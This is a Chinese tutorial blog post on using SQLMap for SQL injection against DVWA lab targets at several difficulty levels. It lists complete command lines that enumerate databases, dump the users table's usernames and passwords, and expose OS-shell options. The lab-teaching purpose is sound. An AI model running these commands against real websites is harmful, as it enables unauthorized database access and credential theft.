一、SQLMap介绍

SQLMap 是一个自动化的SQL注入工具,其主要功能是扫描、发现并利用给定URL的SQL注入漏洞,内置了很多绕过插件,支持的数据库是MySQL 、Oracle 、PostgreSQL 、Microsoft SQL Server、Microsoft Access 、IBM DB2, SQ Lite 、Firebird 、Sybase和SAPMaxDB 。
注意:sqlmap只是用来检测和利用sql注入点,并不能扫描出网站有哪些漏洞,使用前请先使用扫描工具扫出sql注入点
SQLMap采用了以下5种独特的SQL注入技术:
  • 基于布尔类型的盲注,即可以根据返回页面判断条件真假的注入。
  • 基于时间的盲注,即不能根据页面返回的内容判断任何信息,要用条件语句查看时间延迟语句是否己执行(即页面返回时间是否增加)来判断。
  • 基于报错注入,即页面会返回错误信息,或者把注入的语句的结果直接返回到页面中。
  • 联合查询注入,在可以使用Union 的情况下的注入。. 堆查询注入,可以同时执行多条语句时的注入。
SQLMap 的强大的功能包括数据库指纹识别、数据库枚举、数据提取、访问目标文件系统,并在获取完全的操作权限时实行任意命令。

二、安装

1、安装git
    apt-get install git
2、克隆sqlmap
    git clone git://github.com/sqlmapproject/sqlmap.git
3、测试sqlmap是否正常工作,前提要安装python2:apt install python2
     cd sqlmap/
     ./sqlmap.py -h
查看sqlmap的命令字帮助手册
-u  "url"       #检测注入点
--dbs           #列出所有数据库的名称
--current-db    #列出当前数据库的名称
-D              #指定一个数据库
--table         #列出所有表名
-T              #指定表名
--columns       #列出所有字段名
-C              #指定字段
--dump          #列出字段内容
--os-shell      # 提示输入交互式操作系统shell
--os-cmd=OSCMD  # Execute an operating system command
--passwords     # 枚举DBMS用户密码哈希
-v VERBOSE: 用于设置输出消息的详细级别。存在七个级别的冗长。默认级别为 1。
  • 0:仅显示 Python 回溯、错误和关键消息。
  • 1:还显示信息和警告消息。
  • 2:还显示调试消息。
  • 3:还显示注入的有效负载。
  • 4:还显示 HTTP 请求。
  • 5:还显示 HTTP 响应的标头。
  • 6:还显示 HTTP 响应的页面内容。
sqlmap.py -u "注入地址"  --dbs            # 列举数据库
sqlmap.py -u "注入地址"  --current--db    # 当前数据库
sqlmap.py -u "注入地址"  --users          # 列数据库用户
sqlmap.py -u "注入地址"  --current--user  # 当前用户
sqlmap.py -u "注入地址"  --tables -D "数据库"   # 列举指定数据库的表名
sqlmap.py -u "注入地址"  --columns -T "表名" -D "数据库"  # 获取数据库表的列名
sqlmap.py -u "注入地址"  --dump -T "表名" -D "数据库"  # 获取数据库表的所有内容
sqlmap.py -u "注入地址" --dump -C "列名字1, 列名字2" -T "表名字" -D "数据库"   # 获取数据库下表的列信息
sqlmap: automatic SQL injection and database takeover tool有个视频演示。

三、Kail自带的sqlmap更新

先输入 sqlmap -update命令 但是命令没有成功 看来是不对的。
1、找到sqlmap的安装路径 因为kali自带sqlmap所以一般的路径都是/usr/share/sqlmap;
2、cd /usr/share/
3、删除掉原来的sqlmap:rm -rf sqlmap
4、输入 git clone GitHub - sqlmapproject/sqlmap: Automatic SQL injection and database takeover tool
5、更新完成了输入sqlmap -h

四、kail+靶机演示

4.1、dvwa(Low)GET请求

4.1.1、环境准备

1、登录Metasploitable2靶机的http://192.168.11.105/dvwa,输入用户密码:admin/password, dvwa版本:  Version 1.0.7 (Release date: 08/09/10)
2、点击"DVWA Security",首先将难度调整为Low。
3、点击SQL Injection,我们在查询接口输入User Id为1进行查询,这时候生成的地址就是我们的目标注入点http://192.168.11.105/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#,同时Cookie的值是security=low; PHPSESSID=4e495964246e2b0f5591550ce44e3979

4.1.2、注入探测

sqlmap -u "http://192.168.11.105/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=4e495964246e2b0f5591550ce44e3979"
可以看出,爆出了SQL注入漏洞,探测到数据库是mysql,版本4.1以上,所在操作系统Linux Ubuntu 8.04。
当SQLMap执行该命令时,它会执行以下步骤:
    1)判断可注入的参数;
    2)判断可以用哪种SQL注入技术来注入;
    3)识别出哪种数据库;
    4)根据用户选择,读取哪些数据。

4.1.3、获取所有数据库

sqlmap -u "http://192.168.11.105/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=4e495964246e2b0f5591550ce44e3979" --dbs
可以看出列出了7个数据库名。

4.1.4、获取指定数据库内的所有表

sqlmap -u "http://192.168.11.105/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=4e495964246e2b0f5591550ce44e3979" --tables -D dvwa

4.1.5、查看用户表中的所有数据

sqlmap -u "http://192.168.11.105/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=4e495964246e2b0f5591550ce44e3979" --dump -T users -D dvwa

4.1.6、获取指定表中列名

sqlmap -u "http://192.168.11.105/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=4e495964246e2b0f5591550ce44e3979" --columns -T users -D dvwa

4.1.7、获取指定表中指定列的值

sqlmap -u "http://192.168.11.105/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="security=low; PHPSESSID=4e495964246e2b0f5591550ce44e3979" --dump -C "user, password" -T users -D dvwa

dvwa版本:  Version 1.0.7 (Release date: 08/09/10),调整为medium级别后,SQL注入还是GET方式,跟low级别一样,推测是dvwa版本太低导致。
故docker搭建新的一套dvwa环境(docker run --name dvwa -d -p 80:80 -p 3306:3306 -e MYSQL_PASS="root" citizenstig/dvwa,dvwa版本: Version 1.9 (Release date: 2015-09-19))。

4.2、dvwa(Medium) POST请求

dvwa版本: Version 1.9 (Release date: 2015-09-19)

4.2.1、调整靶场难度等级为中级

4.2.2、确定注入点

难度调整为中级之后,请求方式变成了post,查询输入接口由手动输入变成了选择方式,且在url不会直接显示我们的查询请求。
POST  http://192.168.11.135/vulnerabilities/sqli/
Cookie:PHPSESSID=dsjlh0p07q8a97r3m35egtq621; security=medium

4.2.3、注入探测

sqlmap -u "http://192.168.11.135/vulnerabilities/sqli/" --cookie="PHPSESSID=dsjlh0p07q8a97r3m35egtq621; security=medium" --data "id=1&Submit=Submit"

4.2.4、获取所有数据库

sqlmap -u "http://192.168.11.135/vulnerabilities/sqli/" --cookie="PHPSESSID=dsjlh0p07q8a97r3m35egtq621; security=medium" --data "id=1&Submit=Submit" --dbs
可以看出列出了4个数据库名。

4.2.5、获取指定数据库内的所有表

sqlmap -u "http://192.168.11.135/vulnerabilities/sqli/" --cookie="PHPSESSID=dsjlh0p07q8a97r3m35egtq621; security=medium" --data "id=1&Submit=Submit" --tables -D dvwa

4.2.6、查看用户表中的所有数据

sqlmap -u "http://192.168.11.135/vulnerabilities/sqli/" --cookie="PHPSESSID=dsjlh0p07q8a97r3m35egtq621; security=medium" --data "id=1&Submit=Submit"  --dump -T users -D dvwa

4.2.7、获取指定表中列名

sqlmap -u "http://192.168.11.135/vulnerabilities/sqli/" --cookie="PHPSESSID=dsjlh0p07q8a97r3m35egtq621; security=medium" --data "id=1&Submit=Submit"  --columns -T users -D dvwa

4.2.8、获取指定表中指定列的值

sqlmap -u "http://192.168.11.135/vulnerabilities/sqli/" --cookie="PHPSESSID=dsjlh0p07q8a97r3m35egtq621; security=medium" --data "id=1&Submit=Submit"  --dump -C "user, password" -T users -D dvwa

4.3、dvwa(High)

dvwa版本: Version 1.9 (Release date: 2015-09-19)

4.3.1、调整级别

将DVWA难度调整为high之后,可以看到high等级的输入查询在弹窗进行输入,而数据显示确在原窗口进行显示。
原窗口数据包请求方式为GET
GET http://192.168.11.135/vulnerabilities/sqli/
Cookie:PHPSESSID=dsjlh0p07q8a97r3m35egtq621; security=high
弹出的输入窗口请求方式为POST
POST http://192.168.11.135/vulnerabilities/sqli/session-input.php
Cookie:PHPSESSID=dsjlh0p07q8a97r3m35egtq621; security=high
负载:id=1&Submit=Submit

4.3.2、需要用到联合查询命令‘second-url’

sqlmap -u "http://192.168.11.135/vulnerabilities/sqli/session-input.php" --cookie="PHPSESSID=dsjlh0p07q8a97r3m35egtq621; security=high" --data "id=1&Submit=Submit" --second-u "http://192.168.11.135/vulnerabilities/sqli/"

4.4、dvwa(Impossible)

dvwa版本: Version 1.9 (Release date: 2015-09-19)
Low、Medium、High级别其实都是通过限制数据输入来起到防护作用,而我们在手工注入的时候通过使用burpsuit等抓包工具篡改数据包都是可以绕过它的限制的。
Impossible等级则是在数据传到后端之后先进行了格式验证,然后还使用了PDO预处理。人家都说了Impossible,目前是无法进行注入的。

五、-r参数(从文本文件中获取http请求)

命令实例: sqlmap -r /usr/a.txt
说明:使用该命令时须指明a.txt(保存着http请求包)文件所在的绝对路径
验证过程:与-u参数类似
  1. 判断可注入的参数
  2. 判断可以用哪种SQL注入技术来注入
  3. 识别出所有存在的注入类型
  4. 尝试去判定数据库版本、开发语言、操作系统版本

5.1、dvwa(Low) GET请求

利用Burpsuite截取HTTP Request报文,将截取到的HTTP Request报文保存在文本文件中
爆当前数据库的库名:sqlmap -r /usr/share/sqlmap/zq.txt --current-db
生成缓存:/root/.local/share/sqlmap/output/192.168.11.135

5.2、dvwa(Medium) POST请求

利用Burpsuite截取HTTP Request报文,将截取到的HTTP Request报文保存在文本文件中
删除缓存:rm -rf  /root/.local/share/sqlmap/output/192.168.11.135
爆当前数据库的库名:sqlmap -r /usr/share/sqlmap/zq.txt --current-db 

六、参考

kali自带的sqlmap更新_XTJ469的博客-CSDN博客_sqlmap更新

sqlmap自动化漏洞利用(DVWA初、中、高)_PisaYu的博客-CSDN博客_sqlmap 渗透dvwa

《sqlmap 官网》

搭建DVWA漏洞环境_青霄的博客-CSDN博客

SQLMap 扫描利用SQL注入相关推荐

  1. Kali Linux Web 渗透测试视频教程—第十一课-扫描、sql注入、上传绕过

    Kali Linux Web 渗透测试视频教程-第十一课-扫描.sql注入.上传绕过 文/玄魂 原文链接:http://www.xuanhun521.com/Blog/2014/10/25/kali- ...

  2. 使用SQLMAP自动化探测SQL注入

    使用SQLMAP自动化探测SQL注入 文章目录 使用SQLMAP自动化探测SQL注入 0x01 SQLMAP介绍 1.SQLMAP 简介 2.sqlmap支持的注入类型 3.检查kali 系统中的 S ...

  3. 使用Burp,nbsp;Sqlmap进行自动化SQL注入渗透测试

    在OWSAP Top10中,注入型漏洞是排在第一位的,而在注入型漏洞中,SQL注入是远比命令行注入.Xpath注入.Ldap注入更常见.这就是本章要讲述的主要内容:在web应用程序的渗透测试中,如何使 ...

  4. 如何使用加密的Payload来识别并利用SQL注入漏洞

    写在前面的话 密码学具有诸多优点,信息的保密性同样离不开密码学,但是从历史经验来看,在保护应用和数据安全方面我们绝对不能过分依赖于密码学.在这篇文章中,安全教育培训专家SunilYadav将会讨论一个 ...

  5. 如何利用SQL注入进行爆库

    SQL注入能做什么 在<SQL注入基础>一文介绍了SQL注入的基本原理和实验方法,那接下来就要问一下,SQL注入到底能什么? 估计很多朋友会这样认为:利用SQL注入最多只能获取当前表中的所 ...

  6. 【SQL注入-13】利用SQL注入漏洞读写文件案例

    目录 1 读写文件的前提条件 1.1 secure-file-priv参数 1.1.1 作用 1.1.2 secure-file-priv参数值的查看 1.1.2.1 远程查看 1.1.2.2 本地查 ...

  7. 【2·未知攻焉知防】 如何利用SQL注入,结合图片马渗透入侵服务器

    1. 概述 此文原出自[爱运维社区]:  http://www.easysb.cn SQL注入漏洞是由于对字符串的过滤不严格导致的,根据数据外带方式不同,可分为时间盲注,bool盲注,错误等等很多种. ...

  8. SQLmap在进行SQL注入时的整个流程

    文章转自信安之路,作者:sher10ck 很多小伙伴在发现或者判断出注入的时候,大多数选择就是直接上 sqlmap,结果往往也不尽人意,于是就有想法来写写 sqlmap 从执行到判断注入,到底发生了什 ...

  9. limit 后注入_聊一聊 SQLMAP 在进行 sql 注入时的整个流程

    本文作者:sher10ck(信安之路核心成员) 很多小伙伴在发现或者判断出注入的时候,大多数选择就是直接上 sqlmap,结果往往也不尽人意,于是就有想法来写写 sqlmap 从执行到判断注入,到底发 ...

最新文章

  1. 装在u盘的linux
  2. python【蓝桥杯vip练习题库】ALGO-120 学做菜
  3. openssl 代码分析(1)
  4. Seata 1.4.0 重磅发布
  5. zoj3777(状态压缩)
  6. Qt工作笔记-让界面飞一会(让界面旋转出来)
  7. swift学习笔记之-协议
  8. 设置bootstrap modal模态框的宽度和宽度
  9. python函数拟合求导_python – 使用scipy curve_fit通过两个数据点拟合指数函数
  10. js变量显示在html中_PythonDjango+JS+Ajax实现网页采集并动态显示PLC变量
  11. 椭圆曲线方程加解密算法研究(一)
  12. CPL7用户指南(中文版)_第二章 CPL7 用户指南
  13. 联想台式计算机内置网卡,联想台式机有没有无线网卡
  14. Kafka监控eagle
  15. Socket编程 TCP粘包问题及解决方案
  16. Elasticsearch之中文分词器插件es-ik的自定义热更新词库
  17. MySQL的while循环
  18. Google学术无法进入的根本解决方案
  19. 故障树算法JAVA实现
  20. USBKiller(U盘病毒专杀) v2.2 正式版下载

热门文章

  1. AR内容开发--AR开发引擎和SDK
  2. Network: use `--host` to expose
  3. 计算机硬件评分,geekbench4最新版本
  4. 操作系统P、V操作,司机-售票员问题(c++实现)
  5. Android9.0 MTK8666平台摄像头数据分析
  6. 如何汉化Eclipse IDE?
  7. 微信小程序 -- 获取语音,并将语音转为文字(插件:微信同声传译)
  8. android 拨打电话音量,手机音量键都按到最大了,通话声音还是很小?试试打开这个功能...
  9. 内部排序算法的实现(插入排序、选择排序、交换排序、归并排序、计数排序)
  10. KubeSphere使用rbd-csi创建快照